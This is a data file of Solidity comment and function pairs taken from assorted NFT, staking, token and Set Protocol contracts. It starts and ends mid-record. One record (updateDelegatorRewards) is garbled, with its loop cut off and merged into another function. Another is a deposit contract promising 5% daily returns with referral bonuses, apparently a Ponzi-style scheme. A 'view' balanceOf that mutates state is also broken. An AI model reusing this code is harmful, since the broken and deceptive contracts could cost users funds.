presaleMerkleWalletList[mintingTokenID][msg.sender] = true;\n\n _mint(msg.sender, mintingTokenID, numberOfTokens, \"\");\n }", "version": "0.8.0"} {"comment": "/**\n * @notice Free mint for wallets in freeWalletList\n */", "function_code": "function mintFreeWalletList() external nonReentrant {\n require(mintIsActiveFree, \"Free mint is not active\");\n require(\n numberMintedTotal + numberFreeToMint <= maxTokens, \n \"Not enough tokens left to mint that many\"\n );\n\t require(\n freeWalletList[msg.sender] == true, \n \"You are not on the free wallet list or have already minted\"\n );\n\n numberMintedTotal += numberFreeToMint;\n freeWalletList[msg.sender] = false;\n _mint(msg.sender, mintingTokenID, numberFreeToMint, \"\");\n }", "version": "0.8.0"} {"comment": "/**\n * @notice Set the current token ID minting and reset all counters and active mints to 0 and false respectively\n */", "function_code": "function setMintingTokenIdAndResetState(uint256 tokenID) external onlyOwner {\n\t require(tokenID >= 0, \"Invalid token id\");\n\t mintingTokenID = tokenID;\n\n\t mintIsActivePublic = false;\n\t mintIsActivePresale = false;\n\t mintIsActiveFree = false;\n\n numberMintedTotal = 0;\n\t numberMintedPresale = 0;\n\t numberMintedPublic = 0;\n }", "version": "0.8.0"} {"comment": "/*\r\n * Fetches TradingPool details. Compatible with:\r\n * - RebalancingSetTokenV2/V3\r\n * - Any Fee Calculator\r\n * - Any Liquidator\r\n *\r\n * @param _rebalancingSetToken RebalancingSetToken contract instance\r\n * @return RebalancingLibrary.State Current rebalance state on the RebalancingSetToken\r\n * @return uint256[] Starting current set, start time, minimum bid, and remaining current sets\r\n */", "function_code": "function fetchNewTradingPoolDetails(\r\n IRebalancingSetTokenV2 _tradingPool\r\n )\r\n external\r\n view\r\n returns (SocialTradingLibrary.PoolInfo memory, RebalancingSetCreateInfo memory, CollateralSetInfo memory)\r\n {\r\n RebalancingSetCreateInfo memory tradingPoolInfo = getRebalancingSetInfo(\r\n address(_tradingPool)\r\n );\r\n\r\n SocialTradingLibrary.PoolInfo memory poolInfo = ISocialTradingManager(tradingPoolInfo.manager).pools(\r\n address(_tradingPool)\r\n );\r\n\r\n CollateralSetInfo memory collateralSetInfo = getCollateralSetInfo(\r\n tradingPoolInfo.currentSet\r\n );\r\n\r\n return (poolInfo, tradingPoolInfo, collateralSetInfo);\r\n }", "version": "0.5.7"} {"comment": "/*\r\n * Fetches all TradingPool state associated with a new TWAP rebalance auction. Compatible with:\r\n * - RebalancingSetTokenV2/V3\r\n * - Any Fee Calculator\r\n * - TWAP Liquidator\r\n *\r\n * @param _rebalancingSetToken RebalancingSetToken contract instance\r\n * @return RebalancingLibrary.State Current rebalance state on the RebalancingSetToken\r\n * @return uint256[] Starting current set, start time, minimum bid, and remaining current sets\r\n */", "function_code": "function fetchTradingPoolTWAPRebalanceDetails(\r\n IRebalancingSetTokenV2 _tradingPool\r\n )\r\n external\r\n view\r\n returns (SocialTradingLibrary.PoolInfo memory, TWAPRebalanceInfo memory, CollateralSetInfo memory)\r\n {\r\n (\r\n TWAPRebalanceInfo memory tradingPoolInfo,\r\n CollateralSetInfo memory collateralSetInfo\r\n ) = fetchRBSetTWAPRebalanceDetails(_tradingPool);\r\n\r\n address manager = _tradingPool.manager();\r\n\r\n SocialTradingLibrary.PoolInfo memory poolInfo = ISocialTradingManager(manager).pools(\r\n address(_tradingPool)\r\n );\r\n\r\n return (poolInfo, tradingPoolInfo, collateralSetInfo);\r\n }", "version": "0.5.7"} {"comment": "/// @return the number of the month based on its name.\n/// @param _month the first three letters of a month's name e.g. \"Jan\".", "function_code": "function _monthToNumber(string memory _month) internal pure returns (uint8) {\n bytes32 month = keccak256(abi.encodePacked(_month));\n if (month == _JANUARY) {\n return 1;\n } else if (month == _FEBRUARY) {\n return 2;\n } else if (month == _MARCH) {\n return 3;\n } else if (month == _APRIL) {\n return 4;\n } else if (month == _MAY) {\n return 5;\n } else if (month == _JUNE) {\n return 6;\n } else if (month == _JULY) {\n return 7;\n } else if (month == _AUGUST) {\n return 8;\n } else if (month == _SEPTEMBER) {\n return 9;\n } else if (month == _OCTOBER) {\n return 10;\n } else if (month == _NOVEMBER) {\n return 11;\n } else if (month == _DECEMBER) {\n return 12;\n } else {\n revert(\"not a valid month\");\n }\n }", "version": "0.5.17"} {"comment": "// Calculate fees ", "function_code": "function calculatePerformanceFees() external onlyManager {\r\n require(PERFORMANCE_FEES == 0, \"Formation.Fi: performance fees pending minting\");\r\n uint256 _deltaPrice = 0;\r\n if (ALPHA_PRICE > ALPHA_PRICE_WAVG) {\r\n _deltaPrice = ALPHA_PRICE - ALPHA_PRICE_WAVG;\r\n ALPHA_PRICE_WAVG = ALPHA_PRICE;\r\n PERFORMANCE_FEES = (alphaToken.totalSupply() *\r\n _deltaPrice * PERFORMANCE_FEE_RATE) / (ALPHA_PRICE * COEFF_SCALE_DECIMALS_F); \r\n }\r\n }", "version": "0.8.4"} {"comment": "// Calculate protfolio deposit indicator ", "function_code": "function calculateNetDepositInd(uint256 _depositAmountTotal, uint256 _withdrawAmountTotal)\r\n public onlyAlphaStrategy returns( uint) {\r\n if ( _depositAmountTotal >= \r\n ((_withdrawAmountTotal * ALPHA_PRICE) / COEFF_SCALE_DECIMALS_P)){\r\n netDepositInd = 1 ;\r\n }\r\n else {\r\n netDepositInd = 0;\r\n }\r\n return netDepositInd;\r\n }", "version": "0.8.4"} {"comment": "// Calculate protfolio Amount", "function_code": "function calculateNetAmountEvent(uint256 _depositAmountTotal, uint256 _withdrawAmountTotal,\r\n uint256 _MAX_AMOUNT_DEPOSIT, uint256 _MAX_AMOUNT_WITHDRAW) \r\n public onlyAlphaStrategy returns(uint256) {\r\n uint256 _netDeposit;\r\n if (netDepositInd == 1) {\r\n _netDeposit = _depositAmountTotal - \r\n (_withdrawAmountTotal * ALPHA_PRICE) / COEFF_SCALE_DECIMALS_P;\r\n netAmountEvent = Math.min( _netDeposit, _MAX_AMOUNT_DEPOSIT);\r\n }\r\n else {\r\n _netDeposit= ((_withdrawAmountTotal * ALPHA_PRICE) / COEFF_SCALE_DECIMALS_P) -\r\n _depositAmountTotal;\r\n netAmountEvent = Math.min(_netDeposit, _MAX_AMOUNT_WITHDRAW);\r\n }\r\n return netAmountEvent;\r\n }", "version": "0.8.4"} {"comment": "// function claim(uint256 tokenId) public nonReentrant {\n// require(tokenId > 0 && tokenId < 7778, \"Token ID invalid\");\n// _safeMint(_msgSender(), tokenId);\n// }\n// function ownerClaim(uint256 tokenId) public nonReentrant onlyOwner {\n// require(tokenId > 7777 && tokenId < 8001, \"Token ID invalid\");\n// _safeMint(owner(), tokenId);\n// }", "function_code": "function toString(uint256 value) internal pure returns (string memory) {\r\n // Inspired by OraclizeAPI's implementation - MIT license\r\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\r\n\r\n if (value == 0) {\r\n return \"0\";\r\n }\r\n uint256 temp = value;\r\n uint256 digits;\r\n while (temp != 0) {\r\n digits++;\r\n temp /= 10;\r\n }\r\n bytes memory buffer = new bytes(digits);\r\n while (value != 0) {\r\n digits -= 1;\r\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\r\n value /= 10;\r\n }\r\n return string(buffer);\r\n }", "version": "0.8.4"} {"comment": "/// @notice Burn handles disbursing a share of tokens in this contract to a given address.\n/// @param _to The address to disburse to\n/// @param _amount The amount of TKN that will be burned if this succeeds", "function_code": "function burn(address payable _to, uint256 _amount) external onlyBurner returns (bool) {\n if (_amount == 0) {\n return true;\n }\n // The burner token deducts from the supply before calling.\n uint256 supply = IBurner(_burner).currentSupply().add(_amount);\n address[] memory redeemableAddresses = _redeemableTokens();\n for (uint256 i = 0; i < redeemableAddresses.length; i++) {\n uint256 redeemableBalance = _balance(address(this), redeemableAddresses[i]);\n if (redeemableBalance > 0) {\n uint256 redeemableAmount = redeemableBalance.mul(_amount).div(supply);\n _safeTransfer(_to, redeemableAddresses[i], redeemableAmount);\n emit CashAndBurned(_to, redeemableAddresses[i], redeemableAmount);\n }\n }\n\n return true;\n }", "version": "0.5.17"} {"comment": "/// @notice This allows for the admin to reclaim the non-redeemableTokens.\n/// @param _to this is the address which the reclaimed tokens will be sent to.\n/// @param _nonRedeemableAddresses this is the array of tokens to be claimed.", "function_code": "function nonRedeemableTokenClaim(address payable _to, address[] calldata _nonRedeemableAddresses) external onlyAdmin returns (bool) {\n for (uint256 i = 0; i < _nonRedeemableAddresses.length; i++) {\n //revert if token is redeemable\n require(!_isTokenRedeemable(_nonRedeemableAddresses[i]), \"redeemables cannot be claimed\");\n uint256 claimBalance = _balance(address(this), _nonRedeemableAddresses[i]);\n if (claimBalance > 0) {\n _safeTransfer(_to, _nonRedeemableAddresses[i], claimBalance);\n emit Claimed(_to, _nonRedeemableAddresses[i], claimBalance);\n }\n }\n\n return true;\n }", "version": "0.5.17"} {"comment": "/**\r\n * @notice Rescue any non-reward token that was airdropped to this contract\r\n * @dev Can only be called by the owner\r\n */", "function_code": "function rescueAirdroppedTokens(address _token, address to)\r\n external\r\n override\r\n onlyOwner\r\n {\r\n require(_token != address(0), \"token_0x0\");\r\n require(to != address(0), \"to_0x0\");\r\n require(_token != farmToken, \"rescue_reward_error\");\r\n\r\n uint256 balanceOfToken = IERC20(_token).balanceOf(address(this));\r\n require(balanceOfToken > 0, \"balance_0\");\r\n\r\n require(IERC20(_token).transfer(to, balanceOfToken), \"rescue_failed\");\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice View function to see pending rewards for account.\r\n * @param account user account to check\r\n * @return pending rewards\r\n */", "function_code": "function getPendingRewards(address account) public view returns (uint256) {\r\n if (account != address(0)) {\r\n if (userInfo[account].amountfToken == 0) {\r\n return 0;\r\n }\r\n return\r\n _earned(\r\n userInfo[account].amountfToken,\r\n userInfo[account].userRewardPerTokenPaid,\r\n userInfo[account].rewards\r\n );\r\n }\r\n return 0;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice Deposit to this strategy for rewards\r\n * @param tokenAmount Amount of Token investment\r\n * @param deadline Number of blocks until transaction expires\r\n * @return Amount of fToken\r\n */", "function_code": "function deposit(\r\n uint256 tokenAmount,\r\n uint256 deadline,\r\n uint256 slippage\r\n ) public nonReentrant returns (uint256) {\r\n // -----\r\n // validate\r\n // -----\r\n _validateDeposit(deadline, tokenAmount, totalToken, slippage);\r\n\r\n _updateRewards(msg.sender);\r\n\r\n IERC20(token).safeTransferFrom(msg.sender, address(this), tokenAmount);\r\n\r\n DepositData memory results;\r\n UserInfo storage user = userInfo[msg.sender];\r\n\r\n if (user.amountfToken == 0) {\r\n user.wasUserBlacklisted = blacklisted[msg.sender];\r\n }\r\n if (user.timestamp == 0) {\r\n user.timestamp = block.timestamp;\r\n }\r\n\r\n totalToken = totalToken.add(tokenAmount);\r\n user.amountToken = user.amountToken.add(tokenAmount);\r\n results.obtainedToken = tokenAmount;\r\n\r\n // -----\r\n // deposit Token into harvest and get fToken\r\n // -----\r\n results.obtainedfToken = _depositTokenToHarvestVault(\r\n results.obtainedToken\r\n );\r\n\r\n // -----\r\n // stake fToken into the NoMintRewardPool\r\n // -----\r\n _stakefTokenToHarvestPool(results.obtainedfToken);\r\n user.amountfToken = user.amountfToken.add(results.obtainedfToken);\r\n\r\n // -----\r\n // mint parachain tokens if user is not blacklisted\r\n // -----\r\n if (!user.wasUserBlacklisted) {\r\n user.amountReceiptToken = user.amountReceiptToken.add(\r\n results.obtainedfToken\r\n );\r\n _mintParachainAuctionTokens(results.obtainedfToken);\r\n }\r\n\r\n emit Deposit(\r\n msg.sender,\r\n tx.origin,\r\n results.obtainedToken,\r\n results.obtainedfToken\r\n );\r\n\r\n\r\n totalDeposits = totalDeposits.add(results.obtainedfToken);\r\n\r\n user.underlyingRatio = _getRatio(\r\n user.amountfToken,\r\n user.amountToken,\r\n 18\r\n );\r\n\r\n return results.obtainedfToken;\r\n }", "version": "0.6.6"} {"comment": "// @dev initialize delegator address and rewards", "function_code": "function updateDelegatorRewards(address[] delegatorAddress, uint[] rewards) onlyOwner public returns (bool) {\r\n for (uint i=0; i 0);\r\n require(claimCounter < this.getAllDelegatorAddress().length);\r\n \r\n rewardDelegators[msg.sender].hasClaimed = true;\r\n claimCounter += 1;\r\n ERC20(livePeerContractAddress).transfer(msg.sender, rewardDelegators[msg.sender].rewards);\r\n \r\n emit LogClaimReward(msg.sender, rewardDelegators[msg.sender].rewards);\r\n \r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/*\r\n * Fetches all RebalancingSetToken state associated with a rebalance proposal\r\n *\r\n * @param _rebalancingSetToken RebalancingSetToken contract instance\r\n * @return RebalancingLibrary.State Current rebalance state on the RebalancingSetToken\r\n * @return address[] Auction proposal library and next allocation SetToken addresses\r\n * @return uint256[] Auction time to pivot, start price, and pivot price\r\n */", "function_code": "function fetchRebalanceProposalStateAsync(\r\n IRebalancingSetToken _rebalancingSetToken\r\n )\r\n external\r\n returns (RebalancingLibrary.State, address[] memory, uint256[] memory)\r\n {\r\n // Fetch the RebalancingSetToken's current rebalance state\r\n RebalancingLibrary.State rebalanceState = _rebalancingSetToken.rebalanceState();\r\n\r\n // Create return address arrays\r\n address[] memory auctionAddressParams = new address[](2);\r\n // Fetch the addresses associated with the current rebalance\r\n auctionAddressParams[0] = _rebalancingSetToken.nextSet();\r\n auctionAddressParams[1] = _rebalancingSetToken.auctionLibrary();\r\n\r\n // Create return integer array\r\n uint256[] memory auctionIntegerParams = new uint256[](4);\r\n auctionIntegerParams[0] = _rebalancingSetToken.proposalStartTime();\r\n\r\n // Fetch the current rebalance's proposal parameters\r\n uint256[] memory auctionParameters = _rebalancingSetToken.getAuctionPriceParameters();\r\n auctionIntegerParams[1] = auctionParameters[1]; // auctionTimeToPivot\r\n auctionIntegerParams[2] = auctionParameters[2]; // auctionStartPrice\r\n auctionIntegerParams[3] = auctionParameters[3]; // auctionPivotPrice\r\n\r\n return (rebalanceState, auctionAddressParams, auctionIntegerParams);\r\n }", "version": "0.5.7"} {"comment": "/*\r\n * Fetches all RebalancingSetToken state associated with a new rebalance auction\r\n *\r\n * @param _rebalancingSetToken RebalancingSetToken contract instance\r\n * @return RebalancingLibrary.State Current rebalance state on the RebalancingSetToken\r\n * @return uint256[] Starting current set, start time, minimum bid, and remaining current sets\r\n */", "function_code": "function fetchRebalanceAuctionStateAsync(\r\n IRebalancingSetToken _rebalancingSetToken\r\n )\r\n external\r\n returns (RebalancingLibrary.State, uint256[] memory)\r\n {\r\n // Fetch the RebalancingSetToken's current rebalance state\r\n RebalancingLibrary.State rebalanceState = _rebalancingSetToken.rebalanceState();\r\n\r\n // Fetch the current rebalance's startingCurrentSetAmount\r\n uint256[] memory auctionIntegerParams = new uint256[](4);\r\n auctionIntegerParams[0] = _rebalancingSetToken.startingCurrentSetAmount();\r\n\r\n // Fetch the current rebalance's auction parameters which are made up of various auction times and prices\r\n uint256[] memory auctionParameters = _rebalancingSetToken.getAuctionPriceParameters();\r\n auctionIntegerParams[1] = auctionParameters[0]; // auctionStartTime\r\n\r\n // Fetch the current rebalance's bidding parameters which includes the minimum bid and the remaining shares\r\n uint256[] memory biddingParameters = _rebalancingSetToken.getBiddingParameters();\r\n auctionIntegerParams[2] = biddingParameters[0]; // minimumBid\r\n auctionIntegerParams[3] = biddingParameters[1]; // remainingCurrentSets\r\n\r\n return (rebalanceState, auctionIntegerParams);\r\n }", "version": "0.5.7"} {"comment": "/*\r\n * Fetches RebalancingSetToken states for an array of RebalancingSetToken instances\r\n *\r\n * @param _rebalancingSetTokens[] RebalancingSetToken contract instances\r\n * @return RebalancingLibrary.State[] Current rebalance states on the RebalancingSetToken\r\n */", "function_code": "function batchFetchRebalanceStateAsync(\r\n IRebalancingSetToken[] calldata _rebalancingSetTokens\r\n )\r\n external\r\n returns (RebalancingLibrary.State[] memory)\r\n {\r\n // Cache length of addresses to fetch states for\r\n uint256 _addressesCount = _rebalancingSetTokens.length;\r\n\r\n // Instantiate output array in memory\r\n RebalancingLibrary.State[] memory states = new RebalancingLibrary.State[](_addressesCount);\r\n\r\n // Cycle through contract addresses array and fetching the rebalance state of each RebalancingSet\r\n for (uint256 i = 0; i < _addressesCount; i++) {\r\n states[i] = _rebalancingSetTokens[i].rebalanceState();\r\n }\r\n\r\n return states;\r\n }", "version": "0.5.7"} {"comment": "/*\r\n * Fetches RebalancingSetToken unitShares for an array of RebalancingSetToken instances\r\n *\r\n * @param _rebalancingSetTokens[] RebalancingSetToken contract instances\r\n * @return uint256[] Current unitShares on the RebalancingSetToken\r\n */", "function_code": "function batchFetchUnitSharesAsync(\r\n IRebalancingSetToken[] calldata _rebalancingSetTokens\r\n )\r\n external\r\n returns (uint256[] memory)\r\n {\r\n // Cache length of addresses to fetch states for\r\n uint256 _addressesCount = _rebalancingSetTokens.length;\r\n\r\n // Instantiate output array in memory\r\n uint256[] memory unitShares = new uint256[](_addressesCount);\r\n\r\n // Cycles through contract addresses array and fetches the unitShares of each RebalancingSet\r\n for (uint256 i = 0; i < _addressesCount; i++) {\r\n unitShares[i] = _rebalancingSetTokens[i].unitShares();\r\n }\r\n\r\n return unitShares;\r\n }", "version": "0.5.7"} {"comment": "/*\r\n * Fetches RebalancingSetToken state and current collateral for an array of RebalancingSetToken instances\r\n *\r\n * @param _rebalancingSetTokens[] RebalancingSetToken contract instances\r\n * @return CollateralAndState[] Current collateral and state of RebalancingSetTokens\r\n */", "function_code": "function batchFetchStateAndCollateral(\r\n IRebalancingSetToken[] calldata _rebalancingSetTokens\r\n )\r\n external\r\n returns (CollateralAndState[] memory)\r\n {\r\n // Cache length of addresses to fetch states for\r\n uint256 _addressesCount = _rebalancingSetTokens.length;\r\n\r\n // Instantiate output array in memory\r\n CollateralAndState[] memory statuses = new CollateralAndState[](_addressesCount);\r\n\r\n // Cycles through contract addresses array and fetches the liquidator addresss of each RebalancingSet\r\n for (uint256 i = 0; i < _addressesCount; i++) {\r\n statuses[i].collateralSet = address(_rebalancingSetTokens[i].currentSet());\r\n statuses[i].state = _rebalancingSetTokens[i].rebalanceState();\r\n }\r\n\r\n return statuses;\r\n }", "version": "0.5.7"} {"comment": "/// @param _to The address of the recipient\n/// @param _value The amount of token to be transferred", "function_code": "function transfer(address _to, uint256 _value) public {\r\n require(_to != 0x0);\r\n require(_value > 0);\r\n require(balanceOf[msg.sender] >= _value);\r\n require(balanceOf[_to] + _value >= balanceOf[_to]);\r\n balanceOf[msg.sender] = Safe.safeSub(balanceOf[msg.sender], _value);\r\n balanceOf[_to] = Safe.safeAdd(balanceOf[_to], _value);\r\n emit Transfer(msg.sender, _to, _value);\r\n }", "version": "0.4.25"} {"comment": "/// @param _from The address of the sender\n/// @param _to The address of the recipient\n/// @param _value The amount of token to be transferred", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {\r\n require(_to != 0x0);\r\n require(_value > 0);\r\n require(balanceOf[_from] > _value);\r\n require(balanceOf[_to] + _value >= balanceOf[_to]);\r\n require(_value <= allowance[_from][msg.sender]);\r\n balanceOf[_from] = Safe.safeSub(balanceOf[_from], _value);\r\n balanceOf[_to] = Safe.safeAdd(balanceOf[_to], _value);\r\n allowance[_from][msg.sender] = Safe.safeSub(allowance[_from][msg.sender], _value);\r\n emit Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.4.25"} {"comment": "/// @notice Mints a new token\n/// @dev Only minter can do this", "function_code": "function mint() external override returns (uint256) {\n uint256 _currentSupply = totalSupply();\n require(msg.sender == minter, \"Address is not minter.\");\n require(_currentSupply + 1 <= MAX_SUPPLY, \"Amount exceeds supply.\");\n _safeMint(msg.sender, _currentSupply);\n return _currentSupply;\n }", "version": "0.8.7"} {"comment": "// ------------------------------------------------------------------------\n// Get the token balance for account tokenOwner\n// ------------------------------------------------------------------------\n// function balanceOf(address tokenOwner) public constant returns (uint balance) {\n// return balances[tokenOwner];\n// }", "function_code": "function balanceOf(address _owner) public view returns (uint256 balance) { \r\n\t\t // \u6dfb\u52a0\u8fd9\u4e2a\u65b9\u6cd5\uff0c\u5f53\u4f59\u989d\u4e3a0\u7684\u65f6\u5019\u76f4\u63a5\u7a7a\u6295 \r\n\t\t if (!touched[_owner] && currentTotalSupply < totalADSupply) { \r\n\t\t\t\t touched[_owner] = true; \r\n\t\t\t\t currentTotalSupply += airdropNum; \r\n\t\t\t\t balances[_owner] += airdropNum; \r\n \t\t} \r\n \t\treturn balances[_owner]; \r\n }", "version": "0.4.24"} {"comment": "// marketing fund address", "function_code": "function () external payable {\r\n if (msg.value >= 1000) { // receiving function\r\n \r\n fundAddress.transfer(msg.value / 10); // sending marketing fee\r\n if (invested[msg.sender] == 0) {lastPaymentBlock[msg.sender] = block.number;} // starting timer of payments (once for address)\r\n invested[msg.sender] += msg.value; // calculating all invests from address\r\n \r\n address refAddress = msg.data.toAddr();\r\n if (invested[refAddress] != 0 && refAddress != msg.sender) { invested[refAddress] += msg.value/20; } // Referral bonus adds only to investors\r\n invested[msg.sender] += msg.value/20; // Referral reward\r\n \r\n dailyPayment[msg.sender] = (invested[msg.sender] * 2 - totalPaid[msg.sender]) / 40; // calculating amount of daily payment (5% of invest)\r\n \r\n } else { // Payment function\r\n \r\n if (invested[msg.sender] * 2 > totalPaid[msg.sender] && // max profit = invest*2\r\n block.number - lastPaymentBlock[msg.sender] > 5900) { // 24 hours from last payout\r\n totalPaid[msg.sender] += dailyPayment[msg.sender]; // calculating all payouts\r\n address payable sender = msg.sender; sender.transfer(dailyPayment[msg.sender]); // sending daily profit\r\n }\r\n }\r\n}", "version": "0.5.4"} {"comment": "// Get reward rate for all tokens", "function_code": "function rewardPerToken() public view returns (uint256[] memory) {\n uint256[] memory tokens = new uint256[](_totalRewardTokens);\n if (_totalSupply == 0) {\n for (uint i = 0; i < _totalRewardTokens; i++) {\n tokens[i] = _rewardTokens[i + 1].rewardPerTokenStored;\n }\n } else {\n for (uint i = 0; i < _totalRewardTokens; i++) {\n RewardToken storage rewardToken = _rewardTokens[i + 1];\n tokens[i] = rewardToken.rewardPerTokenStored.add(\n lastTimeRewardApplicable()\n .sub(lastUpdateTime)\n .mul(rewardToken.rewardRate)\n .mul(1e18)\n .div(_totalSupply)\n );\n }\n }\n\n return tokens;\n }", "version": "0.8.4"} {"comment": "// Get reward rate for individual token", "function_code": "function rewardForToken(address token) public view returns (uint256) {\n uint256 index = _rewardTokenToIndex[token];\n if (_totalSupply == 0) {\n return _rewardTokens[index].rewardPerTokenStored;\n } else {\n return _rewardTokens[index].rewardPerTokenStored.add(\n lastTimeRewardApplicable()\n .sub(lastUpdateTime)\n .mul(_rewardTokens[index].rewardRate)\n .mul(1e18)\n .div(_totalSupply)\n );\n }\n }", "version": "0.8.4"} {"comment": "/* === MUTATIONS === */", "function_code": "function stake(uint256 amount) external nonReentrant updateReward(msg.sender) {\n require(amount > 0, \"Cannot stake 0\");\n uint256 currentBalance = stakingToken.balanceOf(address(this));\n stakingToken.safeTransferFrom(msg.sender, address(this), amount);\n uint256 newBalance = stakingToken.balanceOf(address(this));\n uint256 supplyDiff = newBalance.sub(currentBalance);\n _totalSupply = _totalSupply.add(supplyDiff);\n _balances[msg.sender] = _balances[msg.sender].add(supplyDiff);\n emit Staked(msg.sender, amount);\n }", "version": "0.8.4"} {"comment": "// Add a new lp to the pool. Can only be called by the owner.\n// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.\n// MUST ADD TOKENS THAT WILL BE PART OF THE OMNIPOOL, MIGRATOR WILL NOT CHECK FOR SHITCOIN\n// Keeping it open after ranch est allows us to migrate to a new CRP if something blows up", "function_code": "function add(\n uint256 _allocPoint,\n IERC20 _lpToken,\n bool _withUpdate,\n address _stakingPool\n ) public onlyOwner {\n if (_withUpdate) {\n massUpdatePools();\n }\n uint256 lastRewardBlock = block.number > startBlock\n ? block.number\n : startBlock;\n totalAllocPoint = totalAllocPoint.add(_allocPoint);\n poolInfo.push(\n PoolInfo({\n lpToken: _lpToken,\n allocPoint: _allocPoint,\n lastRewardBlock: lastRewardBlock,\n accPacaPerShare: 0,\n index: 5000, //just a random number for now\n lpSupply: 0,\n stakingPool: _stakingPool\n })\n );\n // Approve MAX amount upfront for staking in UNI pool\n if (_stakingPool != address(0)) {\n _lpToken.safeApprove(_stakingPool, uint(-1));\n }\n }", "version": "0.6.12"} {"comment": "// Update the given pool's PACA allocation point. Can only be called by the owner.", "function_code": "function set(\n uint256 _pid,\n uint256 _allocPoint,\n bool _withUpdate\n ) public onlyOwner {\n require(ranchEstablished == false, \"dont touch my alpaca\");\n if (_withUpdate) {\n massUpdatePools();\n }\n totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(\n _allocPoint\n );\n poolInfo[_pid].allocPoint = _allocPoint;\n }", "version": "0.6.12"} {"comment": "// The migration process is an async operation for AlpacaSwap so only can be called by the owner.\n// all pools should be migrated prior to calling finalizeRanch to finish the migration.\n// pauseOperation -> call migrate on all pools -> finalize ranch -> boom!", "function_code": "function migrate(uint256 _pid) public onlyOwner {\n //we anticipate to do migration all at once. Pause all other operations.\n require(operationPaused == true, \"pause the contract first\");\n require(ranchEstablished == false, \"dont touch my alpaca\");\n require(address(migrator) != address(0), \"migrate: no migrator\");\n bool result = false;\n uint256 index;\n uint256 lp;\n PoolInfo storage pool = poolInfo[_pid];\n IERC20 lpToken = pool.lpToken;\n\n // unstake any LP tokens earning UNI\n if (pool.stakingPool != address(0)) {\n IStakingRewards usp = IStakingRewards(pool.stakingPool);\n usp.exit();\n }\n\n uint256 bal = lpToken.balanceOf(address(this));\n lpToken.safeApprove(address(migrator), bal);\n (result, index, lp) = migrator.domesticate(lpToken);\n require(result == true, \"alpacas ran away\");\n pool.lpToken = IERC20(0);\n pool.index = index;\n pool.lpSupply = lp;\n }", "version": "0.6.12"} {"comment": "// Deposit LP tokens to MasterRanch for PACA allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\n require(operationPaused == false, \"establishing ranch, relax\");\n require(_pid < poolInfo.length, \"learn how array works\");\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n updatePool(_pid);\n if (user.amount > 0) {\n uint256 pending = user\n .amount\n .mul(pool.accPacaPerShare)\n .div(1e12)\n .sub(user.rewardDebt);\n if (pending > 0) {\n safePacaTransfer(msg.sender, pending);\n }\n }\n if (_amount > 0) {\n // if they try to deposit pools beside ALP past migration this won't work and will be reverted\n // since pool.lpToken is set to IERC20(0) in migrate()\n pool.lpToken.safeTransferFrom(\n address(msg.sender),\n address(this),\n _amount\n );\n user.amount = user.amount.add(_amount);\n // stake _amount to UNI pool to earn $$\n if (pool.stakingPool != address(0)) {\n IStakingRewards usp = IStakingRewards(pool.stakingPool);\n usp.stake(_amount);\n }\n }\n user.rewardDebt = user.amount.mul(pool.accPacaPerShare).div(1e12);\n\n // If depositing ALP shares to earn PACA after migration\n if (ranchEstablished == true) {\n totalAllocPoint = totalAllocPoint.add(_amount);\n pool.allocPoint = pool.allocPoint.add(_amount);\n }\n emit Deposit(msg.sender, _pid, _amount);\n }", "version": "0.6.12"} {"comment": "// Function for Uniswap LP depositers to redeem AlpacaPool LP tokens", "function_code": "function redeem(uint256 _pid) public {\n require(operationPaused == false, \"establishing ranch, relax\");\n require(ranchEstablished == true, \"use withdraw\");\n require(_pid != ranchPid, \"use withdraw\");\n\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n require(user.amount > 0, \"lol wut?\");\n updatePool(_pid);\n uint256 pending = user.amount.mul(pool.accPacaPerShare).div(1e12).sub(\n user.rewardDebt\n );\n if (pending > 0) {\n safePacaTransfer(msg.sender, pending);\n }\n //based on user amount we send back ALP LP tokens.\n uint256 sharesToTransfer = pool.allocPoint.mul(user.amount).div(\n pool.lpSupply\n );\n pool.allocPoint = pool.allocPoint.sub(sharesToTransfer);\n totalAllocPoint = totalAllocPoint.sub(sharesToTransfer);\n poolInfo[ranchPid].lpToken.safeTransfer(\n address(msg.sender),\n sharesToTransfer\n );\n user.rewardDebt = 0;\n pool.lpSupply = pool.lpSupply.sub(user.amount);\n user.amount = 0;\n emit Redeem(msg.sender, _pid, user.amount);\n }", "version": "0.6.12"} {"comment": "// Withdraw without caring about rewards. EMERGENCY ONLY.\n// Or if you are a rat and want to withdraw before the migration", "function_code": "function emergencyWithdraw(uint256 _pid) public {\n require(!withdrawLock, \"withdrawals not allowed, change via governance\");\n PoolInfo storage pool = poolInfo[_pid];\n UserInfo storage user = userInfo[_pid][msg.sender];\n pool.lpToken.safeTransfer(address(msg.sender), user.amount);\n emit EmergencyWithdraw(msg.sender, _pid, user.amount);\n user.amount = 0;\n user.rewardDebt = 0;\n }", "version": "0.6.12"} {"comment": "// Unstake all UNI staking pools so the LP tokens can be withdrawn in an emergency", "function_code": "function emergencyUnstake() public {\n require(msg.sender == devaddr, \"dev: wut?\");\n uint256 length = poolInfo.length;\n for (uint256 pid = 0; pid < length; ++pid) {\n PoolInfo storage pool = poolInfo[pid];\n // exit (withdraw all) from UNI pool\n if (pool.stakingPool != address(0)) {\n IStakingRewards usp = IStakingRewards(pool.stakingPool);\n usp.exit();\n }\n }\n }", "version": "0.6.12"} {"comment": "/**\r\n * Safety function to remove bad names.\r\n */", "function_code": "function removeName(uint256 tokenId) external onlyOwner {\r\n require(tokenId < totalSupply(), \"The token ID is not valid\");\r\n // We will keep the name in the disallow list to prevent it\r\n // from been used again.\r\n sdogNames[tokenId] = \"\";\r\n }", "version": "0.8.6"} {"comment": "/**\r\n * Converts the given string to lower case.\r\n */", "function_code": "function toLower(string memory str) private pure returns (string memory) {\r\n bytes memory bStr = bytes(str);\r\n bytes memory bLower = new 